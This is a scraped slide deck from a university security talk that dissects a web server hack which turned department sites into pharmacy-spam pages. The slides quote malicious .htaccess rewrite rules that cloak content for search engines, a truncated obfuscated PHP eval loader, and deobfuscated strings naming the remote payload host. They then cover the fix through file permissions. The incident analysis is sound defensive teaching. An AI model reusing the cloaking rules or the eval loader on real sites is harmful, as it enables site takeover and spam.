Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 

Anatomy of a Web Server Hack and Pharma Spam Attack

  • 1. Anatomy  of  a  Web  Server  Hack   (it  wasn’t  fun  or  profitable)   (for  me)   Patrick  Laverty   Brown  University   OWASP  Rhode  Island   BSides  Rhode  Island   TwiGer:  @ProvWebAppSec   1  
  • 2. Who  Am  I?   •  Programmer/WebSec  guy  at  Brown  University   •  PaulDotCom  Intern   •  hGp://www.securitybsides.com/BSidesRI   •  OWASP  Rhode  Island   2  
  • 3. What  Happened?   •  We  got  DoS’d   3  
  • 4. What  Happened?   •  We  got  DoS’d   •  (UnintenSonally)  By     4  
  • 5. Step  Back  -­‐  Timeline   •  Holiday  weekend,  1  dept  site  down   •  Reports  pharmaspam  in  Google  results   5  
  • 6. Step  Back  -­‐  Timeline   •  Holiday  weekend,  1  dept  site  down   •  Reports  pharmaspam  in  Google  results   •  7  pm,  database  server  maxed  out   •  Kill  processes,  they  come  back   •  Renaming  databases,  sites  down   6  
  • 7. Step  Back  -­‐  Timeline   •  Holiday  weekend,  1  dept  site  down   •  Reports  pharmaspam  in  Google  results   •  7  pm,  database  server  maxed  out   •  Kill  processes,  they  come  back   •  Renaming  databases,  sites  down   •  But  most  importantly…   7  
  • 8. Step  Back  -­‐  Timeline   8   Protect  www.brown.edu  
  • 9. Why  Did  It  Happen?   •  We’re  a  University   •  Open  and  easy   •  Security  is  a  hassle   9  
  • 10. OK,  Really  Why?   •  One  word:  FilePermissions   10  
  • 11. OK,  Really  Why?   •  Two  words:  File  Permissions   11  
  • 12. OK,  Really  Why?   •  Two  words:  File  Permissions   •  >1200  accounts   •  600  GB  of  files   •  Hundreds  of  sites   12  
  • 13. OK,  Really  Why?   •  Two  words:  File  Permissions   •  More  history:   – Solaris  Web  Server   – 16  groups  per  user  max   – Web  server  user   – Thousands  of  groups  on  server   – World  Readable   13  
  • 14. OK,  Really  Why?   •  rwxrwxr-­‐x   •  Security  Problem?   14  
  • 15. OK,  Really  Why?   •  rwxrwxr-­‐x   •  Security  Problem?   •  Config  files  &  db  connecSon  scripts   •  mysql_connect(db,user,password);   •  Policy:    No  sensiSve  info   15  
  • 16. OK,  Really  Why?   •  Upgraded  to  Red  Hat  Linux   •  No  limit  to  groups   •  Put  server  in  every  group   •  Removed  world  read:  ie.  rwxrwx-­‐-­‐-­‐   16  
  • 17. OK,  Really  Why?   •  Everything  is  writeable!   17  
  • 18. OK,  Really  Why?   •  Everything  is  writeable!   •  Whoops   18  
  • 22. What  Can  That  Do?   •  Add  New  Files   •  Edit  Current  Files   •  Find  Places  to  Hide  Files   •  Change  Timestamps   22  
  • 23. What  DID  It  Do?   •  Add  New  Files   •  Edit  Current  Files   •  Find  Places  to  Hide  Files   •  Change  Timestamps   •  Examples?   23  
  • 24.  Stupid  .htaccess  Tricks  I   RemoveHandler  .html  .htm   AddType  applicaSon/x-­‐hGpd-­‐php  .php  .htm  .html   24  
  • 25. Stupid  .htaccess  Tricks  II   <IfModule  mod_rewrite.c>   RewriteEngine  On   RewriteCond  %{HTTP_USER_AGENT}  (google|yahoo)  [OR]   RewriteCond  %{HTTP_REFERER}  (google|aol|yahoo)   RewriteBase  /   RewriteCond  %{THE_REQUEST}  /   RewriteCond  %{REQUEST_URI}  !/stats.php   RewriteRule  .+  stats.php  [L]   </IfModule>   25  
  • 26. Stupid  .htaccess  Tricks  II   <IfModule  mod_rewrite.c>   RewriteEngine  On   RewriteCond  %{HTTP_USER_AGENT}  (google|yahoo)  [OR]   RewriteCond  %{HTTP_REFERER}  (google|aol|yahoo)   RewriteBase  /   RewriteCond  %{THE_REQUEST}  /   RewriteCond  %{REQUEST_URI}  !/stats.php   RewriteRule  .+  stats.php  [L]   </IfModule>   26  
  • 28. Two  Views   •  Browser:  normal   •  Google,  Yahoo,  other  search  spiders?   28  
  • 29. Look  Familiar?   <?php     //Packed  MySQL  query  core     $a4f12b6950e98b=str_rot13('tmhapbzcerff'); $a4f12b6950e98f=str_rot13(strrev('rqbprq_46rfno'));   eval($a4f12b6950e98b($a4f12b6950e98f('eF6NVGu2k AQ/ ZU8VCKRqgrbJZFV5YGoxQilVLitvd6qinyBILApCiHBfH13z SAktkoL7OGOXM7uzO7H4LbHzf9259/ OndO1+85zlX38uqu8/e6…   29  
  • 30. De-­‐obfuscated   max_execuSon_Sme   set_Sme_limit   hGp://files-­‐uploader.com/7291-­‐bred/   …   REMOTE_ADDR   QUERY_STRING   SERVER_SIGNATURE   REQUEST_URI   REMOTE_ADDR   …   allow_url_fopen   curl_init   viagra   cialis   30  
  • 31. Uh-­‐Oh   max_execuSon_Sme   set_Sme_limit   hGp://files-­‐uploader.com/7291-­‐bred/   …   REMOTE_ADDR   QUERY_STRING   SERVER_SIGNATURE   REQUEST_URI   REMOTE_ADDR   …   allow_url_fopen   curl_init   viagra   cialis   31  
  • 32. Uh-­‐Oh   max_execuSon_Sme   set_Sme_limit   hGp://files-­‐uploader.com/7291-­‐bred/   …   REMOTE_ADDR   QUERY_STRING   SERVER_SIGNATURE   REQUEST_URI   REMOTE_ADDR   …   allow_url_fopen   curl_init   viagra   cialis   32  
  • 35. Why  the  DoS?   max_execuSon_Sme   set_Sme_limit   hGp://files-­‐uploader.com/7291-­‐bred/   …   REMOTE_ADDR   QUERY_STRING   SERVER_SIGNATURE   REQUEST_URI   REMOTE_ADDR   …   allow_url_fopen   curl_init   viagra   cialis   35  
  • 36. Why  the  DoS?  What  Happens?   •  Google  as  Referrer  -­‐>  hit  page  in  .htaccess   •  Page  pulls  in  code  from  files-­‐uploader.com   •  Shows  page  selling  Viagra   •  Brown  University  =  Online  Pharmacy   •  Plus,  high  Google  ranking     36  
  • 37. How  Do  You  Find  It?   37  
  • 38. How’d  We  Fix  It?   Immediate  Steps   – Deleted  the  current  offending  uploader  script  &   redirecSng  .htaccess  files   – Traffic  dropped  off  immediately   38  
  • 39. How’d  We  Fix  It?   Ongoing  Steps   – Remove  all  shell  files   – Remove  all  uploader  files   – Find  and  fix  the  .htaccess  files   – Remove  the  web  server  user  as  much  as  possible   – Weakened  the  shell  files   – Set  up  shell  file  password  search  in  logs   – Monthly  meeSngs  to  review   39  
  • 40. How  Else  is  it  Being  Fixed?   •  One  Word…   •  FilePermissions!   40  
  • 41. How  Else  is  it  Being  Fixed?   •  One  Word…   •  FilePermissions!   •  Three  OpSons  for  Site  Owners   41  
  • 42. OpSon  1   •  One  web  editor?   •  rwxr-­‐x-­‐-­‐-­‐   •  Web  server  user  in  the  group   42  
  • 43. OpSon  2   •  MulSple  web  editors   •  rwxrwxr-­‐x   •  Web  server  user  NOT  in  the  group   •  Back  to  original  security  problem   43  
  • 44. OpSon  3     •  Virtual  Machine   •  Do  whatever  you  want!   44  
  • 45. BoGom  Line   •  Keep  file  permissions  Sght   •  Keep  so‚ware  current   •  Keep  users  off  server   45  
  • 46. QuesSons?   Contact  Info:   Patrick  Laverty   Brown  University   Patrick@brown.edu   @provwebappsec  or  @BSidesRI   46